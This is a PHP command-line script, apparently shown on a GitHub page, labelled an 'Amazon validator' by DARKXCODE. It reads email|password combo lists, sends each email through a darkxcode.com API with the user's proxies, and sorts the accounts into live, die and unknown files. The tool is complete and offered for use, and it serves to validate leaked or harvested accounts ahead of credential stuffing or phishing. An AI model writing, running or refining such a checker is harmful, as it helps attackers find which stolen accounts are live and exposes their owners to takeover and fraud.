-
Notifications
You must be signed in to change notification settings - Fork 1
/
cli.php
97 lines (88 loc) · 3.01 KB
/
cli.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
<?php
// DONT CHANGE THIS
/*==========> INFO
* CODE : BY ZLAXTERT
* SCRIPT : AMAZON VALIDATOR
* VERSION : DEMO
* TELEGRAM : t.me/zlaxtert
* BY : DARKXCODE
*/
require_once "function/function.php";
require_once "function/settings.php";
echo banner();
echo banner2();
enterlist:
echo "\n\n[+] Enter your list (eg: list.txt) >> ";
$listname = trim(fgets(STDIN));
if(empty($listname) || !file_exists($listname)) {
echo " [!] Your Fucking list not found [!]".PHP_EOL;
goto enterlist;
}
$lists = array_unique(explode("\n",str_replace("\r","",file_get_contents($listname))));
$total = count($lists);
$live = 0;
$die = 0;
$unknown = 0;
$no = 0;
echo PHP_EOL.PHP_EOL;
foreach ($lists as $list) {
$no++;
// EXPLODE
if(strpos($list, "|") !== false) list($email, $pass) = explode("|", $list);
else if(strpos($list, ":") !== false) list($email, $pass) = explode(":", $list);
else $email = $list;
if(empty($email)) continue;
$api = "http://darkxcode.com/validator/amazon/?e=$email&proxy=$Proxies&proxyPWD=$proxy_pass";
// CURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $api);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$x = curl_exec($ch);
curl_close($ch);
$js = json_decode($x, TRUE);
$msg = $js['data']['msg'];
$type = $js['data']['type'];
if(strpos($x, '"status":"live"')){
$live++;
save_file("result/live.txt","$list");
echo "[$RD$no$DEF/$GR$total$DEF]$GR LIVE$DEF =>$BL $email$DEF | [$YL TYPE$DEF: $WH$type$DEF ] [$YL MSG$DEF: $MG$msg$DEF ] | BY$CY DARKXCODE$DEF (DEMO)".PHP_EOL;
}else if (strpos($x, '"status":"die"')){
$die++;
save_file("result/die.txt","$list");
echo "[$RD$no$DEF/$GR$total$DEF]$RD DIE$DEF =>$BL $email$DEF | [$YL TYPE$DEF: $WH$type$DEF ] [$YL MSG$DEF: $MG$msg$DEF ] | BY$CY DARKXCODE$DEF (DEMO)".PHP_EOL;
}else{
$unknown++;
save_file("result/unknown.txt","$list");
echo "[$RD$no$DEF/$GR$total$DEF]$YL UNKNOWN$DEF =>$BL $email$DEF | BY$CY DARKXCODE$DEF (DEMO)".PHP_EOL;
}
}
//============> END
echo PHP_EOL;
echo "================[DONE]================".PHP_EOL;
echo " DATE : ".$date.PHP_EOL;
echo " LIVE : ".$live.PHP_EOL;
echo " DIE : ".$die.PHP_EOL;
echo " UNKNOWN : ".$unknown.PHP_EOL;
echo " TOTAL : ".$total.PHP_EOL;
echo "======================================".PHP_EOL;
echo "[+] RATIO VALID => $GR".round(RatioCheck($live, $total))."%$DEF".PHP_EOL.PHP_EOL;
echo "[!] NOTE : CHECK AGAIN FILE 'unknown.txt' and 'limit.txt' [!]".PHP_EOL;
echo "This file '".$listname."'".PHP_EOL;
echo "File saved in folder 'result/' ".PHP_EOL.PHP_EOL;
// ==========> FUNCTION
function collorLine($col){
$data = array(
"GR" => "\e[32;1m",
"RD" => "\e[31;1m",
"BL" => "\e[34;1m",
"YL" => "\e[33;1m",
"CY" => "\e[36;1m",
"MG" => "\e[35;1m",
"WH" => "\e[37;1m",
"DEF" => "\e[0m"
);
$collor = $data[$col];
return $collor;
}
?>